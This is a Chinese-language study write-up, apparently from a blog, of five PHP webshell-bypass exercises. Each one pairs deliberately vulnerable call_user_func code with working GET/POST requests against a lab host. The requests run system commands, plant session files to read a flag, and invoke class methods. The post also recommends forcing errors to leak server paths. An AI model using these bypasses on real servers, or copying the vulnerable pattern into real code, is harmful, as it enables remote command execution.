记一次学习--webshell绕过

目录

第一题

第二题

第三题

第四题

第五题


第一题

php 复制代码
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

$a = call_user_func($action, ...$parameters);

上面题目,下面的call_user_func有一个可变长参数,这个可变长参数是parameters然后上面有一个if语句判断parameters是否有action,如果有就删除掉,然后再action参数传system,在parameters传你要执行的命令

php 复制代码
http://192.168.244.152:8080/webshell/1.php?action=system&1=pwd

或者利用usort

php 复制代码
http://192.168.244.152:8080/webshell/1.php?action=usort&0[0]=system&0[1]=pwd&1=call_user_func

第二题

php 复制代码
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

首先这里action和parameters传递current,然后post传参的时候a传数组systemb传你要执行的命令,这里就是action传递的current被call_user_func调用,然后返回了parameters的current,此时的parameters是一个数组,数组中的值正是current,然后action的current返回了parameters的current,现在就成了current((_POST['a'])($_POST['b'])),然后a传递的也是一个数组a中的值被取出来是system,然后执行了b里面的命令如下图

bash 复制代码
POST /webshell/2.php?action=current&a=current HTTP/1.1
Host: 192.168.244.152:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

a[]=system&b=pwd

另外一种解法

bash 复制代码
action=Closure::fromCallable&0=Closure&1=fromCallable

a=system&b=pwd

Closuer::fromCallable作用是将callable转化成闭包,然后上面传递的action传递Closuer::fromCallable将$parametersClosuer的fromCallable方法又执行了一手,然后又执行了system和你要执行的命令

第三题

php 复制代码
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters);


if(count(glob(__DIR__.'/*'))>3){
    readfile('flag.txt');
}

?>

这道题目要读取flag,且当前目录下的文件数目要大于三才可以读取,然后这里的思路就是创建文件。为啥不能像第一题一样直接传递。这个是因为第一题有一个可变长参数,然后将传递的值展开单个传递。但是第二题是直接将$parameters以一个数组的方式传递进去。所以第一题的方案不适合第三题。所以这里我们的思路就是创建文件。然后我们尝试输入一个错误参数,这里给到了物理路径。(这里就是入侵的一个小思路,有可能你以后遇到的代码,并且你可以控制一些页面元素。你就可以输入一个错误参数,让他报错就有可能将对方的物理路径爆出了)。

创建文件利用session_start。然后利用session_start的一个参数,修改session上传零食文件文件的目录,将上传的目录修改成刚刚爆出来的物理路径

然后我们写入

php 复制代码
http://192.168.244.152:8080/webshell/3/3.php?action=session_start&save_path=/var/www/html/webshell/3

但是上面写入一个文件也只写入了一个文件,还没有达到代码的要求。那么再写入一个怎么办呢。我们修改一个cookie就可以再生成一个了,flag成功拿到

第四题

php 复制代码
<?php
Class A{
    static function f(){
        system($_POST['a']);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);

这里就是要利用这个A这个类里卖弄的f方法,然后call_user_func可以直接调用类方法,然后这里使用下面参数

action=call_user_func&0=A&1=f

如下call_user_func调用类的里面的方法的例子

抓包传参

第五题

php 复制代码
<?php
Class A{
    static function f(string $a){
        system($a);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);
echo $_POST['a'];

我们这里也要想办法利用A中的f,这个就要利用ob_start,ob_start调用例子,这里和call_user_func调用差不多。只不过把call_user_func改成了ob_start

使用这个样本没有成功,但是其他同学成功了,怀疑是版本的问题

相关推荐
数据的世界012 小时前
.NET开发人员学习书籍推荐
学习·.net
四口鲸鱼爱吃盐2 小时前
CVPR2024 | 通过集成渐近正态分布学习实现强可迁移对抗攻击
学习
Smile灬凉城6664 小时前
反序列化为啥可以利用加号绕过php正则匹配
开发语言·php
OopspoO5 小时前
qcow2镜像大小压缩
学习·性能优化
A懿轩A5 小时前
C/C++ 数据结构与算法【栈和队列】 栈+队列详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·栈和队列
居居飒5 小时前
Android学习(四)-Kotlin编程语言-for循环
android·学习·kotlin
kkflash36 小时前
提升专业素养的实用指南
学习·职场和发展
奥顺6 小时前
PHPUnit使用指南:编写高效的单元测试
大数据·mysql·开源·php
1 9 J6 小时前
数据结构 C/C++(实验五:图)
c语言·数据结构·c++·学习·算法
黑客Jack7 小时前
网络安全加密
安全·web安全·php